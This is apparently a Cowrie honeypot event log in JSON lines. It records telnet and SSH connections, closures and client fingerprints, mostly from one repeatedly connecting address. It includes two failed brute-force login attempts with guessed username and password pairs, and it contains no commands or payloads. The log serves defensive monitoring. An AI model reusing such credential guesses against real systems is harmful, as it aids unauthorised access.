{"eventid":"cowrie.session.closed","duration":30.481419801712036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:02.360925Z","src_ip":"69.6.196.124","session":"0ff03e811778","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:02.539275Z","src_ip":"41.63.62.103","session":"82b4d9bca5db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.34809398651123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:02.597462Z","src_ip":"69.6.196.124","session":"5a234ef82606","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.438690662384033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:03.323296Z","src_ip":"69.6.196.124","session":"a41fc2bd016f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":59066,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d58776683c4","protocol":"telnet","message":"New connection: 69.6.196.124:59066 (159.203.135.109:23) [session: 2d58776683c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:03.918258Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":59078,"dst_ip":"159.203.135.109","dst_port":23,"session":"f55282370995","protocol":"telnet","message":"New connection: 69.6.196.124:59078 (159.203.135.109:23) [session: f55282370995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:04.232497Z"}
{"eventid":"cowrie.session.closed","duration":31.21450138092041,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:04.525659Z","src_ip":"69.6.196.124","session":"d5c8c3b45bb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.915228605270386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:04.698061Z","src_ip":"69.6.196.124","session":"a0b3d7397057","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44223427772522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:05.379528Z","src_ip":"69.6.196.124","session":"60fd7d569f84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.406902551651,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:05.489677Z","src_ip":"69.6.196.124","session":"5525bb7fc342","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":59096,"dst_ip":"159.203.135.109","dst_port":23,"session":"25407796c329","protocol":"telnet","message":"New connection: 69.6.196.124:59096 (159.203.135.109:23) [session: 25407796c329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:06.182928Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":59100,"dst_ip":"159.203.135.109","dst_port":23,"session":"a438ac4abca9","protocol":"telnet","message":"New connection: 69.6.196.124:59100 (159.203.135.109:23) [session: a438ac4abca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:06.414285Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":59128,"dst_ip":"159.203.135.109","dst_port":23,"session":"46abc3e5da3a","protocol":"telnet","message":"New connection: 69.6.196.124:59128 (159.203.135.109:23) [session: 46abc3e5da3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:07.141096Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":59088,"dst_ip":"159.203.135.109","dst_port":23,"session":"664e5c149a9e","protocol":"telnet","message":"New connection: 69.6.196.124:59088 (159.203.135.109:23) [session: 664e5c149a9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:07.588822Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":59130,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bd2cee90d1e","protocol":"telnet","message":"New connection: 69.6.196.124:59130 (159.203.135.109:23) [session: 2bd2cee90d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:07.745862Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":59112,"dst_ip":"159.203.135.109","dst_port":23,"session":"e37a44aa9183","protocol":"telnet","message":"New connection: 69.6.196.124:59112 (159.203.135.109:23) [session: e37a44aa9183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:08.101820Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":59138,"dst_ip":"159.203.135.109","dst_port":23,"session":"6dd884680284","protocol":"telnet","message":"New connection: 69.6.196.124:59138 (159.203.135.109:23) [session: 6dd884680284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:08.240653Z"}
{"eventid":"cowrie.session.closed","duration":31.510830402374268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:08.571376Z","src_ip":"69.6.196.124","session":"39552a8e6a25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.53.58.141","src_port":38266,"dst_ip":"10.17.0.5","dst_port":23,"session":"1683d43f1576","protocol":"telnet","message":"New connection: 185.53.58.141:38266 (10.17.0.5:23) [session: 1683d43f1576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:08.794479Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46634,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea5541b1d5fc","protocol":"telnet","message":"New connection: 69.6.196.124:46634 (159.203.135.109:23) [session: ea5541b1d5fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:09.664864Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46642,"dst_ip":"159.203.135.109","dst_port":23,"session":"87d2f796a856","protocol":"telnet","message":"New connection: 69.6.196.124:46642 (159.203.135.109:23) [session: 87d2f796a856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:10.616348Z"}
{"eventid":"cowrie.session.closed","duration":30.59557008743286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:10.702171Z","src_ip":"69.6.196.124","session":"ce67e99f51df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46646,"dst_ip":"159.203.135.109","dst_port":23,"session":"e61e3a4cea4e","protocol":"telnet","message":"New connection: 69.6.196.124:46646 (159.203.135.109:23) [session: e61e3a4cea4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:11.360652Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46656,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ba942fdb279","protocol":"telnet","message":"New connection: 69.6.196.124:46656 (159.203.135.109:23) [session: 9ba942fdb279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:11.380817Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":59056,"dst_ip":"159.203.135.109","dst_port":23,"session":"365027c3ea94","protocol":"telnet","message":"New connection: 69.6.196.124:59056 (159.203.135.109:23) [session: 365027c3ea94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:11.754229Z"}
{"eventid":"cowrie.session.closed","duration":31.08350968360901,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:11.780213Z","src_ip":"69.6.196.124","session":"b333ac3a4f4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.459773778915405,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:13.280439Z","src_ip":"69.6.196.124","session":"8f0bad57de3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98860764503479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:13.399744Z","src_ip":"69.6.196.124","session":"65c927120783","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46672,"dst_ip":"159.203.135.109","dst_port":23,"session":"32bd065575f3","protocol":"telnet","message":"New connection: 69.6.196.124:46672 (159.203.135.109:23) [session: 32bd065575f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:13.857778Z"}
{"eventid":"cowrie.session.closed","duration":30.35939645767212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:14.506821Z","src_ip":"69.6.196.124","session":"3b8715c97c0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":43262,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb92c2f16398","protocol":"telnet","message":"New connection: 69.6.196.124:43262 (159.203.135.109:23) [session: fb92c2f16398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:14.826735Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46682,"dst_ip":"159.203.135.109","dst_port":23,"session":"27915df6d777","protocol":"telnet","message":"New connection: 69.6.196.124:46682 (159.203.135.109:23) [session: 27915df6d777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:14.864757Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46696,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbf43ab6f9f2","protocol":"telnet","message":"New connection: 69.6.196.124:46696 (159.203.135.109:23) [session: fbf43ab6f9f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:16.550860Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46710,"dst_ip":"159.203.135.109","dst_port":23,"session":"b81bfb43fab3","protocol":"telnet","message":"New connection: 69.6.196.124:46710 (159.203.135.109:23) [session: b81bfb43fab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:18.027351Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":39910,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a71d133554f","protocol":"ssh","message":"New connection: 201.184.50.251:39910 (10.17.0.5:22) [session: 3a71d133554f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:20.110930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:20.115540Z","src_ip":"201.184.50.251","session":"3a71d133554f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:20.197127Z","src_ip":"201.184.50.251","session":"3a71d133554f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46714,"dst_ip":"159.203.135.109","dst_port":23,"session":"ceaf0a611244","protocol":"telnet","message":"New connection: 69.6.196.124:46714 (159.203.135.109:23) [session: ceaf0a611244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:20.202097Z"}
{"eventid":"cowrie.session.closed","duration":30.22618341445923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:20.308650Z","src_ip":"69.6.196.124","session":"40cca794f9f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.487147569656372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:20.315831Z","src_ip":"69.6.196.124","session":"e109d6eb2925","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sftp","password":"sftp@123","message":"login attempt [sftp/sftp@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:20.556137Z","src_ip":"201.184.50.251","session":"3a71d133554f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46034,"dst_ip":"159.203.135.109","dst_port":23,"session":"9238081b672e","protocol":"telnet","message":"New connection: 69.6.196.124:46034 (159.203.135.109:23) [session: 9238081b672e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:20.734149Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46022,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9f37cadf42d","protocol":"telnet","message":"New connection: 69.6.196.124:46022 (159.203.135.109:23) [session: f9f37cadf42d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:21.350097Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:21.639000Z","src_ip":"201.184.50.251","session":"3a71d133554f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46048,"dst_ip":"159.203.135.109","dst_port":23,"session":"d174798f77ab","protocol":"telnet","message":"New connection: 69.6.196.124:46048 (159.203.135.109:23) [session: d174798f77ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:21.729495Z"}
{"eventid":"cowrie.session.closed","duration":31.186627864837646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:21.917672Z","src_ip":"69.6.196.124","session":"81059d9c885b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46062,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf4bd90dd810","protocol":"telnet","message":"New connection: 69.6.196.124:46062 (159.203.135.109:23) [session: bf4bd90dd810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:22.563519Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46068,"dst_ip":"159.203.135.109","dst_port":23,"session":"efcfb73e5d1e","protocol":"telnet","message":"New connection: 69.6.196.124:46068 (159.203.135.109:23) [session: efcfb73e5d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:22.697024Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46084,"dst_ip":"159.203.135.109","dst_port":23,"session":"72e725ad40a0","protocol":"telnet","message":"New connection: 69.6.196.124:46084 (159.203.135.109:23) [session: 72e725ad40a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:23.119728Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46094,"dst_ip":"159.203.135.109","dst_port":23,"session":"492ebbde2d09","protocol":"telnet","message":"New connection: 69.6.196.124:46094 (159.203.135.109:23) [session: 492ebbde2d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:23.245447Z"}
{"eventid":"cowrie.session.closed","duration":30.852232933044434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:23.322460Z","src_ip":"69.6.196.124","session":"a5d90569b7f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46108,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f42ab5328ad","protocol":"telnet","message":"New connection: 69.6.196.124:46108 (159.203.135.109:23) [session: 9f42ab5328ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:23.957176Z"}
{"eventid":"cowrie.session.closed","duration":30.893245220184326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:24.658037Z","src_ip":"69.6.196.124","session":"d615377ac6c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46118,"dst_ip":"159.203.135.109","dst_port":23,"session":"16d564c5c651","protocol":"telnet","message":"New connection: 69.6.196.124:46118 (159.203.135.109:23) [session: 16d564c5c651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:25.192132Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":36520,"dst_ip":"10.17.0.5","dst_port":22,"session":"a07ab0f79932","protocol":"ssh","message":"New connection: 103.129.221.202:36520 (10.17.0.5:22) [session: a07ab0f79932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:26.176670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:26.179954Z","src_ip":"103.129.221.202","session":"a07ab0f79932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:26.427832Z","src_ip":"103.129.221.202","session":"a07ab0f79932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46110,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb68cdd73ddb","protocol":"telnet","message":"New connection: 69.6.196.124:46110 (159.203.135.109:23) [session: bb68cdd73ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:27.241961Z"}
{"eventid":"cowrie.session.closed","duration":30.93972396850586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:27.302199Z","src_ip":"69.6.196.124","session":"bbab7b3901f3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345q","message":"login attempt [user/12345q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:27.461164Z","src_ip":"103.129.221.202","session":"a07ab0f79932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46128,"dst_ip":"159.203.135.109","dst_port":23,"session":"75aabc84a1b7","protocol":"telnet","message":"New connection: 69.6.196.124:46128 (159.203.135.109:23) [session: 75aabc84a1b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:28.467596Z"}
{"eventid":"cowrie.session.closed","duration":31.135648250579834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:28.489301Z","src_ip":"69.6.196.124","session":"8a50c7929797","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:28.711728Z","src_ip":"103.129.221.202","session":"a07ab0f79932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46136,"dst_ip":"159.203.135.109","dst_port":23,"session":"80a6d6f8968d","protocol":"telnet","message":"New connection: 69.6.196.124:46136 (159.203.135.109:23) [session: 80a6d6f8968d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:29.189157Z"}
{"eventid":"cowrie.session.closed","duration":30.443713188171387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:30.522450Z","src_ip":"69.6.196.124","session":"5a2747aed259","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.154562950134277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:31.900675Z","src_ip":"69.6.196.124","session":"075c4c592f03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39910,"dst_ip":"159.203.135.109","dst_port":23,"session":"78c91fa212dc","protocol":"telnet","message":"New connection: 69.6.196.124:39910 (159.203.135.109:23) [session: 78c91fa212dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:32.011530Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39926,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ba27d8fb63d","protocol":"telnet","message":"New connection: 69.6.196.124:39926 (159.203.135.109:23) [session: 9ba27d8fb63d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:32.158749Z"}
{"eventid":"cowrie.session.closed","duration":31.159942626953125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:32.424232Z","src_ip":"69.6.196.124","session":"22039c4999b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7043719291687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:32.480086Z","src_ip":"69.6.196.124","session":"9dc1a9b0b2dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39928,"dst_ip":"159.203.135.109","dst_port":23,"session":"520cb09262c7","protocol":"telnet","message":"New connection: 69.6.196.124:39928 (159.203.135.109:23) [session: 520cb09262c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:43:33.120947Z"}
